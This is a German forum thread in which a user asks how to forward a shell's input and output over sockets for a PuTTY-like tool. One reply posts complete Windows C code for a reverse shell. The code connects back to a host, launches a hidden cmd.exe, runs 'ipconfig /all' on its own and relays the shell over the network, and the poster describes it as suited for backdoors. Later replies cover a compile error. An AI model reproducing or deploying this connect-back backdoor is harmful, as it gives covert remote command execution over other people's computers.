Shell per Sockets weiterleiten?



  • Hallo, ich habe vor eine Shell ähnlich wie putty zu entwickeln. Die Shell kann bis jetzt lokale Befehle ausführen, jetzt habe ich ein server und client entwickelt welche nun kommunizieren sollen.

    Beispiel:
    **
    PC1 Client
    PC2 Server | Shell**

    Also der PC1 ist wo der Client laufen soll, welcher sich mit dem server in Verbindung setzt und dann dieser denn Inhalt der Shell an den Client weitersendet.

    Jetzt habe ich ein Code von Microsoft gefunden, welche den Inhalt in eine andere Console umleitet, einmal Redirect.c und Child.c -> http://support.microsoft.com/kb/190351/de

    Habe nur die Redirect verwendet und meinen Namen der Shell eingetragen, wenn ich dann die Redirect.exe starte wird die Shell dann hier gestartet 🙂 d.h. ich müsste den Code von Redirect.c in meinen Server Code implementieren, wie bekomme ich die Ein-/Ausgabe von der Shell vom Server zum Client gesendet, also welche Daten soll ich dann senden???

    Skizze:

    PC1 PC2
    Client ------------------ Server <--> Shell



  • erzeuge pipe's die als neue standard handles für die console dienen und starte damit deinen prozess. diese handles rufst du dann auf daten ab und sendest sie ganz normal über sockets weiter.

    beispielcode für den server (connectback-code, zum beispiel für backdoors geeignet):

    #include <stdio.h>
    #include <windows.h>
    #include <winsock2.h>
    
    struct sTimeval {
      long    tv_sec;
      long    tv_usec;
    };
    
    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
    {
    	// http://support.microsoft.com/default.aspx?scid=kb;en-us;190351
    	// http://bdn.borland.com/article/10387
    
    	HANDLE hNewStdIn, hWriteStdIn, hNewStdOut, hReadStdOut;
    	STARTUPINFO siProcess = {0};
    	PROCESS_INFORMATION piProcess = {0};
    	SECURITY_ATTRIBUTES saHandle = {0};
    	char szTemp[2048]="", szWinDir[512]="", szServer[512]="localhost";
    	DWORD dwToRead=0, dwAvail;
    	WSADATA wsaData;
    	SOCKADDR_IN siAddr;
    	int iPort=150;
    	unsigned long ulIp;
    	HOSTENT* heData;
    	SOCKET sConn;
    	FD_SET fdsSelect;
    	struct sTimeval tvTimeout;
    
    	//WINSOCK
    	WSAStartup(MAKEWORD(2,0), &wsaData);
    
    	memset(&siAddr, 0, sizeof(SOCKADDR_IN));
    	siAddr.sin_family = AF_INET;
    	siAddr.sin_port = htons(iPort);
    
    	ulIp = inet_addr(szServer);
    
    	if(ulIp!=INADDR_NONE)
    	{
    		siAddr.sin_addr.s_addr = ulIp;
    	}
    	else
    	{
    		heData = gethostbyname(szServer);
    
    		if(heData==NULL)
    		{
    			return 0;
    		}
    		else
    		{
    			memcpy(&(siAddr.sin_addr), heData->h_addr_list[0], 4);
    		}
    	}
    
    	sConn = socket(PF_INET, SOCK_STREAM, 0);
    
    	if(sConn==INVALID_SOCKET)
    	{
    		return 0;
    	}
    
    	if(connect(sConn, (SOCKADDR*)&siAddr, sizeof(SOCKADDR))!=0)
    	{
    		return 0;
    	}
    
    	//Redirection
    	GetSystemDirectory(szWinDir, 512);
    	strcat(szWinDir, "\\cmd.exe");
    
    	saHandle.nLength= sizeof(SECURITY_ATTRIBUTES);
    	saHandle.lpSecurityDescriptor = NULL;
    	saHandle.bInheritHandle = TRUE;
    
    	//stdin
    	if(CreatePipe(&hNewStdIn, &hWriteStdIn, &saHandle, 0))
    	{
    		//stdout & stderr
    		if(CreatePipe(&hReadStdOut, &hNewStdOut, &saHandle, 0))
    		{
    			siProcess.hStdError = hNewStdOut;
    			siProcess.hStdInput = hNewStdIn;
    			siProcess.hStdOutput = hNewStdOut;
    			siProcess.dwFlags = STARTF_USESTDHANDLES;
    			siProcess.cb = sizeof(STARTUPINFO);
    
    			if(CreateProcess(szWinDir, NULL, NULL, NULL, TRUE, CREATE_NO_WINDOW | NORMAL_PRIORITY_CLASS, NULL, NULL, &siProcess, &piProcess))
    			{
    				Sleep(500);
    
    				WriteFile(hWriteStdIn, "ipconfig /all\n", 14, &dwToRead, NULL);
    
    				while(1)
    				{
    					memset(szTemp, 0, 2048);
    
    					if(PeekNamedPipe(hReadStdOut, NULL, 0, NULL, &dwAvail, NULL))
    					{
    						if(dwAvail>0)
    						{
    							if(ReadFile(hReadStdOut, szTemp, 2048, &dwToRead, NULL))
    							{
    								send(sConn, szTemp, strlen(szTemp), 0);
    							}
    						}
    					}
    
    					memset(szTemp, 0, 2048);
    
    					FD_ZERO(&fdsSelect);
    					FD_SET(sConn,&fdsSelect);
    
    					tvTimeout.tv_sec = 0;
    					tvTimeout.tv_usec = 0;
    
    					if(select(0, &fdsSelect, NULL, NULL, &tvTimeout)==1)
    					{
    						if(recv(sConn, szTemp, 2048, 0))
    						{
    							WriteFile(hWriteStdIn, szTemp, strlen(szTemp), &dwToRead, NULL);
    						}
    					}
    
    					Sleep(1);
    				}
    			}
    		}
    	}
    
    	return 0;
    }
    

    zu compiliern unter LCC compiler. bei mir tat alles wunderbar 🙂

    grützi
    RadiatioN



  • Hi, habe den ersten Code von http://bdn.borland.com/article/10387 kompiliert und ausgeführt, der ist sogar besser als der von MS da hier nur ein Konsolenfenster geöffnet wird.
    Jetzt habe ich mir vorgestellt das die Anwendung childspawn.cpp die die Shell umleitet nochmals per Sockets an den CLient sendet, geht das?

    Hab dein Code mit Visual Studio 2005 kompiliert bekomme an dieser Stelle:

    if(select(0, &fdsSelect, NULL, NULL, &tvTimeout)==1)
    

    folgenden Fehler:

    error C2664: 'select': Konvertierung des Parameters 5 von 'sTimeval *__w64 ' in 'const timeval *' nicht möglich
            Die Typen, auf die verwiesen wird, sind nicht verknüpft; die Konvertierung erfordert einen reinterpret_cast-Operator oder eine Typumwandlung im C- oder Funktionsformat.
    

    Wie kann man den Fehler beheben?



  • in den LCC compiler headern ist die TIMEVAL struktur komischerweise nicht definiert, also habe ich das selbst getan. ersetzte einfach die version von mir mit der aus den original headern. dann sollte das auch ohne cast funktionieren.

    grützi
    RadiatioN



  • Ich habe mich für den Code Redirect.c von MS entschieden, also hier:
    http://support.microsoft.com/default.aspx?scid=kb;en-us;190351

    Bisher habe ich als Server Programm folgenden Code verwendet: http://www.c-worker.ch/winsock/selectchatsrv.cpp

    und als Client:
    http://www.c-worker.ch/winsock/selectchatclient.cpp

    Hier mal ein Konzept von mir, wie es aussehen soll:
    http://home.arcor.de/fam.richert/rshell.jpg

    Jetzt muss ich Redirect.c in den Server-Code einbauen, was soll dann gesendet werden, also welcher Teil von Redirect ?? 😕

    Bitte um Hilfe 🙂


Anmelden zum Antworten